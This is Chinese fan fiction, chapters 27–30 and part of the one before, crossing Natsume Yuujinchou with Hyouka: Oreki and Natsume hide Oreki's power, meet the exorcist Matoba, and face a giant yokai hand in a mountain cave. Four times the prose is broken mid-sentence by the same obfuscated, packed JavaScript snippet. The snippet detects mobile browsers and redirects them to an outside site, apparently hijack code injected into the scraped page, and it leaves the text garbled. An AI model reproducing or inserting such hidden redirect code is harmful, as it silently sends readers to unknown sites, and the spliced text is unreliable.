;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288132|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 还是说刚才的景象是幻觉，自己只是中招了？ 混乱的思维完全无法跟上心里的活跃，直到柊和瓜姬扶起他时，他才意识到这不是幻觉，而是完完全全的真实。 所以……是这少年……仅凭一击就…… 名取转身去看折木，就见对方两眼一翻，彻底晕死了过去。 名取：“……” 不要在这关键时刻就晕啊。 “名取先生，折木他……” 名取走过来查看折木的情况，没什么外伤，貌似只是疲劳过度，他对夏目说了这个结果后，对方竟直接公主抱了起来。 “抱歉，名取先生，我还是担心折木，以防万一，我先带他回去，待会我再来找你。” 说完，他抱着折木走出了浴场，而猫咪老师紧跟其后，完全无视呆滞的名取。 “主人，我们是不是也应该……”柊问道。 名取用手指压了压眼镜，努力保持平静道：“没事，先把道具先收起来，刚刚的动静肯定会把无关人引来，得在之前清理干净。” “那的场一族那边要怎么交待？” “嘶……”名取放下手指，有些哭笑不得地看着温泉的方向，“这才是最难解释的地方。” 要怎么办呢，要不编个理由糊弄过去，还是说突然看到安倍晴明的鬼影出现在现场一招秒了神灵呢…… 怎么都交待不了啊。 名取既有些崩溃又有些苦笑：“那两个少年还真是给我出了个大难题。” …… 折木被夏目放在展开的被褥上，他的呼吸很平稳，因为过度疲惫连表情都变得安逸许多。 “真是夸张，这可是在三笠山都没发挥出的力量，那个半神一直在藏拙吧。”猫咪老师没好气地说道。 夏目守在折木身边，静静地看着他的面容：“大概吧，我只是想那一下会不会对折木造成什么后遗症。” “你对他也太上心了。”猫咪老师吐槽道。 “我只是怕待会折木叔叔回来，不好解释折木的情况。”夏目叹息道，“而且折木身上发生的事超乎我的想象，比起其他人，我总是莫名地放不下他。” 猫咪老师看看夏目，又看看折木，闭上眼：“算了随便你们，不过你和名取那小子要怎么解释？” “不解释。”夏目说道。 “他会信？除妖人的心思可是很狡猾的。” “名取先生不是这样的人，我相信他。”夏目如此确信道。 “哼，你还是老样子。”猫咪老师打了个打哈欠。 过了大概三十分钟，折木的父亲回来了，一开门就看到睡得烂熟的儿子，忍不住笑道：“这是泡晕过去了？” 夏目回以干笑：“嗯，折木他……体力不太行。” 折木老爸一脸“果然如此”：“唉，我就说嘛，总是呆在家里一点也不好，果然还是要多出来运动运动才行。” “是啊……哈哈哈……” “等这小子睡起来，我们去楼下吃怀石料理吧。” “好。” “喵~” 27.第 27 章 好累。 折木无意识呢喃着。 他的身体像破洞的船底，被海水无情拖入黑渊，无法呼吸，看不见也听不到。 最近总是被各种妖怪或神明事件搞得精力透支，自己所赖以生存的节能主义接二连三地打破，想来真是讽刺至极。 如果被自己的老友知道，一定会很震惊吧。 说起来……有什么东西压在胸口……好重…… 折木睁开眼睛的刹那，就与躺在自己身上的猫咪老师对视起来，大脑稍微顿了顿，而后折木闭上眼睛，选择逃避现实。 “折木，可别继续装睡啊。”老爸的慰问自头顶传来，“我们可还饿着肚子等你吃饭呢。” 折木继续闭上眼睛，企图装睡般不予理会。 “折木。” 夏目温和的声音钻入耳朵里，“如果身体还是不舒服的话，就好好休息吧，我和叔叔一会儿给你带吃的。” “夏目，这么宠他可是会让他得寸进尺哦。”折木老爸开玩笑般说道。 这人究竟在胡说八道些什么！ 折木装不下去了，掀开被子，难以言喻地瞪着喜欢捉弄自己的老爸。 “你看，不给他些刺激或者动力什么的，奉太郎是不会行动的。” 折木老爸对儿子毫无杀伤力的眼神爽朗一笑，拍了拍对方的肩膀：“走吧，好不容易来这里，总不能再错过美味吧。” 这是什么可恶老爸。折木咬着后槽牙心想。 刚一站起来，小腿一软，差点直直跪了下去。 好在夏目时刻盯着折木的状态，见他要跪，伸手揽住他的前腹，勉强成为他的支撑点。 脚居然没法用力？ 折木整个人下意识攀住夏目的胳膊，心有余悸地看着自己的双腿，完全未料到自己的身体竟这么不听使唤。 已经走出房间的折木老爸听到声音不由地问一句：“怎么了？” “嗯……”夏目蹙着细眉刚要开口，却被折木打断了。 “没事，腿有些麻，走得会很慢，老爸你先下去，我们一会儿就到了。”折木说道。 听到应声，老爸也没说什么，继续往下走。 夏目的担忧几乎要凝成实体：“折木，你这样不行，还是好好休息吧。” 折木沉默了一会儿，不可抑制地开口：“我不想让老爸担心，而且别看他那副样子……他其实比我还要敏锐，要是让他察觉到什么就不妙了。” “折木。” “没事，慢一点的话，我应该……”折木努力抬起自己的脚，刚往前走一两步，又要往前栽倒。 夏目眼里闪过一丝无奈，但很快他调整自己的动作，扶着对方的腰，将折木横抱了起来。 折木迷惑地张大眼睛，随即“啊”地一声，大脑已经跟不上现实的节奏。 “你做什么？” “这样会更快一点。” “更快一点社死吗？” 折木想推开夏目，就听夏目在他耳边说：“没事，我们往另一条路走，那里很少有人会经过。” 另一条路？ 猫咪老师跳到夏目肩膀上，看着折木已经石化的面容，不留余地地调侃：“哦呀哦呀，夏目你悠着点，这小子看起来快碎了。” 若是被人目睹到，或许折木碎得更快。 等到夏目抱着折木走到窗前，折木看着外面那棵巨大的樱树，他似乎明白夏目要做什么，而他潜意识里也必须阻止夏目接下来要做的事。 “夏目，你说得对，不然我还是和老爸说一声，我不去了——！！！” 对方完全没给他改口的机会，只听夏目喊了一句：“老师。” “回去你要给我买七辻屋的馒头哦！” 猫咪老师“砰”地变回原形，在夏目抱着折木跳下去的瞬间，用身体接住了他们。 风席卷着树上的樱花花瓣，夏目的身体挡住了斜斜照过来的灯光，阴影从他的头顶倾倒而来，遮住了折木大半视野。 猝不及防地，花香包裹鼻腔，整个世界在折木眼里变得慌乱又纯粹。 “不好意思，折木，这样比较省时间，我扶着你慢慢走过去吧。” 夏目将人放到地面，对表情失控的折木稍稍有些不好意思。 是不是太冲击了，吓到人了？ 他挠了挠脸，见对方没说话，看来是真吓到了。 “折木？” “没事咳咳，麻烦你了。” 被叫了名字后，折木像是才回过神般，他抓住对方浴衣的衣袖，以夏目为支撑点慢慢向前走一步。 脚有一点力气了，说不定就是因为刚刚受到的惊吓。 但为什么他感觉自己的脸温度也上升了…… …… 楼下等待的折木老爸看了看腕上的表，有些疑惑那两人怎么下来这么慢。 想到折木从醒来就恹恹的表情，他不由地想，不会奉太郎那小子真有什么状况吧？ “折木叔叔，让你久等了。” 夏目的声音让他想要上去寻找的意图打消，他循着声源望去，发现奉太郎被夏目搀着从旅馆另一侧走了过来。 “你们怎么从那边出来？” “因为那边有条靠近房间的楼梯，我不想走太远。”折木提前开口，以自己往日的性子说这话基本是不会遭到怀疑的。 如他所想，他老爸没好气地揉乱折木的头发：“你还是一如既往地喜欢偷懒。” 三人走到附近一家叫石心寮的料理亭，是折木老爸特意订的。 说实话，折木的老爸品味一直都不错，这家料理亭的餐品味道传统，不出意外地很好吃，折木吃完自己的那份后，一边揉着自己酸痛的腿，一边听着另外两人聊天，而聊天内容无一例外要么是老爸在炫耀自己的工作，要么就是围绕着自己的事展开调笑。 折木从一开始的不爽，到后面视若无睹。 直至他看到他们包间的飘窗外站着柊的身影时，险些没有绷住。 夏目也看到了，他不动声色地用目光安抚折木的情绪，以上厕所为借口，离开了包间。 “奉太郎，你看上去心不在焉的，有心事？”折木老爸杵着下巴看着折木，他的今天的状态无论跟平常比都很不一样呢，“需要让爸爸给你排解排解吗？” “你是闲得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293276|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事干，所以才来探究我吧。”折木抱臂，很无所谓道，“小孩的事，大人少管。” “说反了吧，再说了，我们父子之间就没有一丁点信任吗？” “这话你也可以对老姐说。” “那家伙我才不要管呢，会被近身搏击的。” 折木老爸说着说着，就忍不住笑了出声，“算了，青春期也有青春期的烦恼，你也是时候考虑一些很复杂的东西了，友情啊，恋爱啊，挫折啊，欢笑啊，要融入这些东西，怎么说也要改改你的坏习惯了。” 虽然是老生常谈的对话，折木也确实没什么可反驳的，但要把节能当做坏习惯也太武断了，绝对不要。 折木喝着乌龙茶抗拒这段对话，同时想着夏目怎么还不回来。 另一边，夏目跟着柊走到一处回廊，这是石心寮专门给客人用来消食散心的，回廊外侧就是池塘，里面的荷花长势很好，都漂亮地点缀在池中。 “哟，夏目。”名取就站在回廊，看到夏目抬手打了声招呼。 夏目有点惊讶：“名取先生，你也过来用餐？” 名取笑容深邃了几分：“约了客人在这里，听柊说你也在这，就趁这个空档约你说说话了。” “抱歉名取先生，把剩下的事都丢给你。”夏目对自己之前的行为有些耿耿于怀。 “我们之间不用介意这些小事，身为除妖师连该做的都做不好，反而要让你帮我善后才是我的不对。”名取神秘地朝他挑眉一笑。 “那么折木君怎么样了？” 话题转移到了折木身上，夏目微撩双眉，说道：“折木他力量消耗得很大，行动很不方便。” “那是自然地，你觉得普通人拥有能一击就秒杀神明的力量会没有任何代价吗？” 名取双肘杵着围栏，意味深长地开口，“那算是轻的了，我见过有的除妖师倾尽全力导致终身失明或者身体残缺，而这仅仅是万幸。” “呐，夏目。” 名取的语气逐渐变得严肃，“我不会深究，也努力不让其他人发现发生在折木君身上的事情，但唯有一点，夏目你要注意。” 夏目闻言，表情也跟着变得认真许多。 “别再让折木君使用这样的力量了。” “如果可以，还是做一个普通人比较幸福。” 名取叹息道：“这次的事情我不知道的场怎么想，但无论如何我都想尽快掩盖过去，只要你能保护好他的信息不被泄露出去……当然我也是如此。” “谢谢名取先生的忠告。” 夏目点点头，道：“我会的。” 话说得差不多，名取的语气变得轻快：“接下来就想想怎么隐瞒的场那家伙了——” “哦？要隐瞒我什么？” 身后的一道轻笑，让名取整个人都僵住了。 夏目从他背后看去，只见一身西服的独眼长发男子走了过来，是的场一门的当家，的场静司。 身后跟着的两个人，其中一个夏目见过，是七濑女士。 “哦呀，夏目也在啊，真是令人欣慰的缘分呢。”的场看了看名取身后的夏目，露出相当愉快的微笑。 28.第 28 章 名取下意识挡在夏目身前，干笑道：“的场先生，怎么一声不响就过来了，不应该提前知会一声，我好去迎接您吗？” 的场笑了：“名取君还是那么客气，不过有时候出其不意也是个惊喜，不然怎么会遇到夏目君呢，你说是不是？” “我和夏目君是碰巧撞上闲聊几句，既然的场先生到了，那么我也不能在这偷懒了。”名取给了夏目一个眼色，抬眼的同时快速进入营业状态，他朝的场抬手，“请吧。” “还真是一点也不放松呢，既然如此，那么关于刚才的问题我可就不能当做没听见哦，名取君。”的场乐于给对方这个台阶下，但相对的，也得让对方吃点苦头才行。 他充满深意的目光朝戒备的夏目扫了一眼，笑道：“那就下次再见了，夏目君。” 等的场转身离开，名取擦掉鬓间的冷汗，真是不够警慎，一个不注意就被阴险的家伙抓到尾巴了。 “名取先生……” 听到夏目担忧的声音，名取扬起一个完美笑容：“放心吧，我会搞定，夏目就记得我说的就行。” 夏目担心对方过于勉强，又怕自己不能为对方分忧，他深深吸了口气，说道：“那么名取先生就说是我做的就行了。” 名取惊诧：“什么？” “杀掉神明的事就说是我做的，名取先生说得神乎其神点也没关系。” “夏目……” “拜托了。”夏目朝他鞠了一躬后，不给名取反驳的时间，转身就跑掉。 “喂，夏目！” 名取伸出手，但看着夏目坚决的背影，莫名地觉得自己拦不住对方。 “我怎么可能会这么做。”名取无奈地转身，“这孩子也太不信任大人了。” “那想好理由了？”柊出现在他身边说道。 “随机应变吧，就算胡说八道，的场又不能把我怎么样，那家伙只会相信自己眼睛看到的事实。”名取说道。 …… 见夏目回来了，折木终于从老爸的唠叨声中打起了精神，心想，终于结束了。 “对了，明天要直接去现场采样，我已经和那边的人说了，可以多带两人作为实习生参观。”折木老爸兴致勃勃说着明天的打算。 “要直接进入森林里吗？”折木问道。 “嗯，不会太深入，就算出了什么状况，会有当地救援队备援，所以你们就大胆放心出行吧。” “如果你不以会出状况为前提就更好。” 折木吐槽道。 他瞥了一眼夏目，对方坐得很端正，但面上却心事重重，看来是出去这段期间遇到什么事吧，是那个除妖师对夏目说了什么吗？ 十有八九是因为中午的事，甚至还与自己有关，折木都不用去思考，自己被纸月附身后所做的事在外会引发多大的冲击。 他确实不懂除妖师圈子里的事，连妖怪的知识都一知半解。 那就用普通人的思考方式稍微想想吧，之后的事，之后应对的办法……在此之前，无论如何也不能把压力全部堆积在夏目身上。 折木平静地喝完杯子里仅剩的乌龙茶。 次日出门。 折木和夏目在折木老爸滔滔不绝地教导中，带着一身硬核装备就这么出远门了。 天气预报说，最近几天是晴朗无雨的好天气，所以今天的太阳格外火辣，刚到山下，流得满是大汗的折木已经想要懈怠了。 但看老爸认真的样子，一旦现在喊累绝对会被嘲笑得体无完肤，不想落到那种糟糕的境遇，折木喝了一口挂在背包上的水，用手臂擦掉流到下巴的汗，继续往前走。 偏偏老爸还非要趁这个时候说遭遇的诡异经历。 “上次我们的一个工作人员就是在这看到有直立行走的狐狸出没，当时的情景实在太古怪了，把他给吓晕过去了。” 他指了指左侧离这五米的一个位置。 折木和夏目同时看过去，什么都没有。 “中//国那边不是有类似的怪谈嘛，叫什么……呃，讨封？”折木老爸绞尽脑汁，终于想起那个词怎么说了。 “讨伐封上？（封を切る，这里夏目没听明白，把词义分开理解了）”夏目陷入迷茫。 折木淡淡道：“这个不能照字面直接翻译，应该是“名分を求める（索要名分）”，就是妖怪向人类索要身份的意思。” 折木老爸：“奉太郎你竟然知道，我还以为你只会看文库。” “是听某个自称数据库的人说的。” “你这样说，里志可是会受伤的。” 夏目不能理解：“索要身份，为什么妖怪会向人类索要身份？” 身份这种主观意识的东西，怎么都不该向人类讨要，人类又不是神明。 “这就要涉及那边的文化了，每个地区妖怪文化都不同，据说那边的妖怪为了渡劫得道成仙，需要借助人类的金口。” “一旦答应的话，有的妖怪要么会报恩，有的就会缠着对方，厄运不断，所以不管是好是坏，那边遇到会讨封的精怪一般都会闭口不言。” “明明得了好处，却还要缠着人类，有点不讲理了。”折木随口一说。 “不，虽然大多妖怪暂时可以用好坏来区分，但大多数的行为模式都不能仅靠人类主观意识去判断。”夏目摇摇头。 在他遇到的妖怪中，不乏有能够和平相处的妖怪，同时，他也在妖怪的问题上吃了太多苦头。 “也是。”折木点点头，对这个问题不做反驳。 见两人都说出自己的见解，折木老爸很兴奋：“当然，这些妖怪传闻是人类智慧不可企及的自然现象，纵然对人类是一种威胁，也不妨会让人类畏惧崇敬，形成一种信仰，在世界的历史和文化不断构筑中，妖怪或许就会成为人类认识新世界的方法。” 两人听到这样的发言，略有些惊讶。 折木像是第一次认识自家老爸似的，询问道：“老爸你对妖怪这么感兴趣吗？” “可以的话，我还真想见识一番。”对方露出笑容。 那还是算了吧。 折木露出心累的表情，原本他只知道自己的老爸是做传统文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298903|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化和民俗产业相关的工作，没想到会突然扯到妖怪这方面。 如果他的叔公行舟先生还活着的话，这两人一定能就妖怪的话题大谈特谈吧。 他如此想着，而不经意地往旁边一瞥，就看到双脚站立的狐狸一样的妖怪。 折木：“……” 这是说什么来什么吗？ 夏目也注意到了那只妖怪，表情不禁蒙上一层阴影。 “还有多久到啊？”折木装作没看见，向自己的父亲询问道。 “快了，马上就有人接应我们了。” 三人又往前走了好久，可不管再怎么往上爬，距离就像是没怎么变过似的，这样的变故让折木老爸意识到不对劲，让另外两人先在原地休息，等他联系上同事再行动。 折木走到夏目身边，余光朝旁边的位置看去，这次不止是狐狸，它头顶还多了一只青蛙。 “是它们干的？” “我去问问吧。” 折木看了眼到处找信号打电话的老爸，随后就跟在夏目身后。 “你们是这座山的妖怪吗？”夏目以温和的口吻问道。 没得到回应。 夏目开始疑惑，是无法沟通的妖怪吗？ 就在这时，狐狸妖怪突然瞪大着眼：“啊，你在和我说话吗？” 折木&夏目：“……” 我们都走到你面前了，别那么迟钝好吧？ 狐狸歪了歪头，盯着两个人类看了半天，半晌才“哦”了一声，慢悠悠地朝两人作揖：“是的哟，我是这里的妖怪。” 折木&夏目：“……” 旁边的青蛙看不下去：“笑死了，从没见过你那么残念的妖怪，这么迟钝，连人类都不如。” “哦……”狐狸转了转眼珠，对方的话似乎对它有些吃力，它决定先不管青蛙，问夏目道：“请问你们有什么事？” 折木意识到和它沟通会很费力，便直言道：“我们现在上不去这座山，走了好久一直在原地打转，是你们在背后搞的鬼?” 狐狸脸上露出迷茫的神色，而头顶的青蛙代替它回答：“怎么可能，我们哪有那么大的本事让你们在这绕圈圈，而且从昨天开始，这里就变得出不去了，不然我会跟着这傻子一直傻站在这吗？” “从昨天开始……那不就是……” 难道和他们杀死的神明有关？ 折木和夏目同时意识到这一点，不约而同地露出惊疑的神色。 “不过有人上去了。”狐狸这时插了一句，“穿着黑衣服的，很多。” “看到他们用什么办法上去的？”夏目连忙询问道。 “不知道是什么东西，领头的拿着一个铃铛，摇了几下他们就上去了。”青蛙继续说，“原本我们还想偷偷跟着上去，结果被几个可怕的白衣妖怪拦住，还想要抓我们，好在这傻大个跑得快，不然怎么死都不知道。” “嗯嗯，差点就死了。”狐狸傻乎乎地附和道。 听着它们的描述，夏目想到了的场的式神。 很可能，那群人是的场一门。 29.第 29 章 “奉太郎，夏目，你们人呢？” 身后传来折木老爸的声音。 折木一听，坏了，不能再这耽搁下去。 “夏目，我们得走了。” 夏目点点头，朝狐狸和青蛙说道：“谢谢你们告诉我们那么多。” 两人一前一后离开。 狐狸有些懵懂地看着他们离开的背影，好半天才道：“那两个人类身上有好香的味道。” “蠢狐狸，你还想吃了他们吗，也不看看我们打不打得过？”青蛙用腿蹬了狐狸脑袋一脚。 “哦……” “你除了哦，还会说什么？” “哦……话说你是谁来着？” “……” …… 折木老爸看两人过来，抓着头有些苦恼道：“麻烦大了，这里竟然没信号，连指南针都失灵了。” “现在下山的话……又为时过早了。” 折木老爸似乎不想就这么下山，他朝上望了望，心里有些郁闷。 夏目将背包放了下来：“折木叔叔，不如先好好休息吧，着急也不是办法。” “唉，等休息会儿，我们再试着往上走，不行的话就只能趁天黑前下山寻找救援了。”折木老爸将包放下，拿出带的三明治。 “上面有多少人？”折木冷不丁问道。 “两个，为了考据这座山的历史，我们派了两个人在那驻扎，带的食物仅仅只能撑到今晚而已。” 两个……那挺危险了，如果有人突然下山的话，就会和他们陷入走不出去的圆环。 折木能明白老爸为什么着急，自己唯独能做的大概就只有…… 等等，说起来不是还有两个救命稻草么。 折木偷偷凑近夏目，用只有两人听得到的声音说：“猫咪老师呢，现在应该还在你包里睡觉吧。” “那家伙……”夏目面容僵了又僵，小声道，“从今早就不知道跑哪去了。” 因为有折木叔叔在，自己也不能大张旗鼓地去找。 真是不靠谱的保镖！ 折木捏捏眉心，没关系，我们还有一个。 他赶紧在脑海里呼唤纸月。 结果是，没有任何回应。 什么情况，他和纸月的联系怎么又断了，他现在可不是灵体状态！ 意识到情况已经偏离正常，折木总算有了紧张的样子。 果然，还是…… 轰—— 地面突然震颤，从上面传来鸟群的振翅声。 “怎么，怎么了？”折木老爸吓得扶着树干站了起来。 折木下意识闭上眼睑，他看到无数灵力从上往下蜂涌四散，此时天空异变，炙热的橙色火光妖冶地染红了上空。 “怎么会有火光！” 趁着老爸被那光芒吸引全部视线，折木徒手拽住一条灵力，按照自己的想法，摆好备弓的姿势，撩望，随意瞥了火光的方向，清绿的瞳眸幽幽绽放着橙色的光芒。 这一箭他不确定会射中什么，但如果能解决他们现在的困境的话，那么就值得去尝试。 离。 此刻，带着风声，尖锐而短促地就这么射了出去。 火焰迸裂，射出的那一箭像是将那赤红火光化作了旋涡，霎那间，直达天盖，短短几秒的时间，折木似乎听到什么在吼叫，他下意识想再放一箭。 但他的手臂倏然被什么给紧紧拉住，折木回过头，发现是夏目。 “别乱来。”夏目轻轻开口，那柔软的目光像是在恳求自己不要再继续下去，折木愣怔地放下双手，不敢在动作。 从异常变为正常这段时间极为漫长，却足够让人思考发生的一切。 折木老爸的情绪最先冷却下来，他拿出手机拨打同事的电话，这次，打通了。 “信号恢复了，联系上他们了。” 打完电话的折木老爸兴奋起来，“我们快点上去。” 三人提起速度一股脑冲上去。 然而，心里预想的情景并没有发生，那火光似乎只存在梦里，一切风平浪静。 “难道是海市蜃楼……可以前也没见过啊。”折木老爸狐疑地环视周遭的环境，心里说不出哪里不自然。 折木跟在后面敷衍道：“说不定呢，老爸你总不能说那些火光是真的吧？” 无法反驳儿子的话，折木老爸抓了抓头发，只能放弃探究，带着两人继续前进。 走过贫瘠狭窄的山路后，右上方有一条用石头堆砌而成的台阶，台阶高高低低有点难行，比较偏僻的地方还长了苔藓，可见这里的荒芜。 继续往上走，就能看到鸟居，凑近了看，竟然有修整过的迹象。 虽然不知道这种深山老林为什么会有一个神社，但折木明显感觉自己老爸的步伐轻快了许多。 “喔！终于到了！还以为今天上不来了！”折木老爸开口。 他的嗓音把神社正在开展工作的人吓了一跳，看到来人，那两人皆停止手上的作业，走了过来。 “怎么回事，等你们好久了。” 同事好似没感受到方才的异常，折木老爸便也没提火光的事。 “抱歉抱歉，山里突然没信号，还迷路了，所以就耽搁了那么久。” “真的假的，你不是已经来过好多次了嘛？” 折木老爸和同事寒暄了会儿，便将折木和夏目等人介绍了过去，得知之后的时间可以任意参观，折木总算是松了口气。 “刚刚那个你怎么看？” 等到能两人单独说话的时候，折木总算能把憋在心里的话说了出来。 “不清楚……大概是你刚才那一箭破坏了什么而起到了作用。”夏目说道。 而至于具体发生什么，他俩再怎么胡思乱想，也想不出个所以然。 如果能联系得上猫咪老师/纸月就好了。 两人如此想。 他们拿出包里的便当准备享用，折木打开自己的便当盒，就见一只青蛙站在配菜区，鼓着腮帮子说道：“喂，人类，我有事情向你求救。” “哇啊！” 折木将便当盒摔了出去。 “吓死我了，人类你当心点，你这么用力我可是会被甩飞出去的！”青蛙用蹼掌扒开脸上的米饭，满脸都是不悦。 你才是要吓死我了。 折木从刚才的惊吓变为愤懑，这可是他的午饭，在下山前就靠这便当储存体力，谁能想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301378|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么没了。 “你说的求救是什么意思？”夏目叹气，顺手将自己的便当递给折木，让他先吃。 “我的蠢货同伴，就是那只狐狸被带走了。”青蛙道。 “哦，这跟我们有什么关系。”折木将便当推了回去，愤怒的余火还未消解，自然不想帮助破坏他午饭的家伙。 “我和我的同伴一直跟在你们后面，我看到你一箭就把困住我们的结界破坏掉了，我就想你肯定是个厉害家伙，找你准没错的。”青蛙肯定道。 “所以跟我们有什么关系，我们有什么义务帮你。”折木语气微冷。 青蛙放弃这个跟自己呛的人类，转而向一看就好说话的另一个人类开口。 “请您帮帮我，那只狐狸虽然傻，但是我现在最要好的朋友，我会拿出我的宝物作为交换的！”青蛙双蹼作合十状，垂着头向夏目鞠躬。 “你的朋友是被谁带走的，有印象吗？”夏目直接将便当盒打开，随便吃了几口，就递给了折木。 “夏目，别轻易答应啊。”折木拿着被塞来的便当先是不知所措，但听到夏目的话，他又维持不住自己的冷静，想要拒绝。 “折木，听我的，你刚刚使用灵力消耗了不少体力，先把饭吃了。”夏目伸出手指抵在他跟前，语气中多了几分不容违抗的命令。 折木：“……” 最终，折木不得已吃着剩下的便当，心情复杂地看着身边一人一妖对话。 “是个黑色的大妖怪，它像一阵风，靠近它就会有股热浪，我都没怎么反应过来就没带走了。”青蛙抬起双臂试图比划一下，可惜它实在太小了，怎么比划都让人想象不出来。 “原来如此，你知道它往哪个方向飞了？” “那边。”青蛙指了一个方向，是穿过神社后的方向。 “神社后面还有路吗？”夏目问道。 青蛙点了点头：“我可以为你们带路。” “等等……”折木找机会插话，“你是亲眼看到你的朋友被带到那里吗？” “千真万确！”青蛙跳到折木面前手舞足蹈，“骗你对我有什么好处？” 折木不甘心地叹了口气，尽管不情愿，但他还是与夏目对视了一眼。 折木：“真的要去吗？” 夏目：“去看看也好，如果离这里太近也是个危险，折木叔叔他们都在这反而不方便。” 折木：“好吧，那说好了，一有什么不对劲就跑，我给你掩护。” 夏目：“好，你吃完了？” 折木：“哦，稍等。” 青蛙听这两人的对话不禁在心里泛起嘀咕，这两个人类说话怎么模模糊糊的，根本就听不懂在说什么。 折木将吃完的便当盒放进袋子里，装进包中，打算下山再找垃圾桶扔掉。 和折木老爸打了声招呼，两人跟着青蛙绕过神社往后面走去。 走了有七八分钟后，就见一个有着巨大洞穴的山体，那应该就是青蛙所说的大妖怪的洞穴。 折木估算着这里和神社的距离，不算太近。 而且，这里的灵场…… 折木闭了闭眼，朝夏目说道。 “那我们进去吧。” 30.第 30 章 那是光无法穿透的洞穴深处，一直向下延伸。 青蛙在前面带路，眼看后面的光线越来越少，几乎要被没有边界的黑暗包裹，折木给夏目递了个眼神，然后停下脚步。 他问青蛙：“到底还有多久，再往下走我们可一点都看不见了。” “快了，马上就快到了。”青蛙看上去有些着急，它一边往洞里面张望，一边催促着身后两个人。 折木冷冷地注视着它：“你的朋友真的在里面？比起这个我一直好奇，你朋友被带走后，你怎么知道是这个山洞的？” “因，因为……带走我朋友的妖怪我见过，它一直就藏在这……” “你亲眼见到的？” “对，对呀。” “那你对这个妖怪多了解？” “就，就是会到处抓妖怪吃……黑色的……” “黑色的什么？” “黑，黑色……总之你们快跟我来，我朋友就要被吃掉了！” 青蛙急得声音都多了一丝恐惧，似乎在面临着什么压力。 啪擦一声，灵力变成回流在折木指尖凝聚，渐渐化作箭矢，他拉弓对准青蛙。 “再问你一遍，里面究竟是什么东西，不然我就先射你了。” 听到这话，夏目不禁看向对方，能让折木如此，一定是察觉到了什么。 “啊……是……” 青蛙说不出口。 因为—— 有什么东西抓住了它。 青蛙惊恐地“呱”了一声，就被那东西快速拖进了洞穴深处。 折木目光从未如此凌厉，他毫不犹豫地朝洞□□了一箭后，转身就拉着夏目的手往外跑。 “果然是骗我们的。” 从洞口处就看到大量怨气的分流在往里面汇聚，那种说不出的恶心感徘徊在胸口经久不散。 很快，他就听到洞口深处传来东西快速蠕动的声音，在追赶着他们。 出了洞口，折木带着夏目往旁边一躲，紧接着，巨大的黑影伴随着怨气涌出，看到那东西，两人不禁睁大了眼睛。 那是一只手。 一只非常巨大、黑色且干瘪的手。 它从洞中出来就到处搜寻折木他们。 折木注意到引导他们进去的青蛙整个身体嵌进食指上方，不止它，还有其他形形色色的小妖怪们，它们都没有死，但嵌在那只手掌却被不停地吸取力量，生不如死。 “救命啊！”有几个还清醒的妖怪看到他们连忙呼喊。 而这一喊，引起手掌的注意力，它停在上方不动，那几只呼喊的妖怪猛地吸收进手掌里，在掌心化作了一只眼睛，朝着折木他们看去。 “快躲开。”夏目立即从后推了折木一把，自己也反应神速地躲了过去，黑色的手在他们中央扑了一个空。 得趁现在……折木咬着牙，准备集中注意力对付这个怪手。 然而，一支箭从不远处的林中射了出来，在射中怪手的同时，从箭身窜起一道火光朝着伤口烧了起来，怪手顿时挣扎了起来。 折木看着这情景，还有些迷茫，直到躲在林中的人出来，才明白是对方做的。 “……的场先生。”夏目看到来人，虽然有了些心理准备，但还是觉得这个时机还是太刻意了，像是故意等着他们把怪手引出来，再收割自己心仪的猎物。 原来如此，他们是用来勾引猎物的诱饵吗？ “夏目君，真巧呐，遇到这种级别的妖物，怎么不把你的那只猫咪带来呢？”的场优雅地踱步而来，他弯起的嘴唇和不急不慢地姿态，就像一道捉摸不透的谜，一举一动让人摸不准心思。 “你早就在这里等着了？” 夏目站了起来，发现他手上还带着封印的瓦罐，心里的猜测又落实了几分。 “怎么会呢，夏目君对我来说可是很重要的客人，如果轻易让你受伤，我想名取君一定会和我没完的。” 的场笑眯眯地说着，却不等夏目开口，转身对着燃烧的怪手。 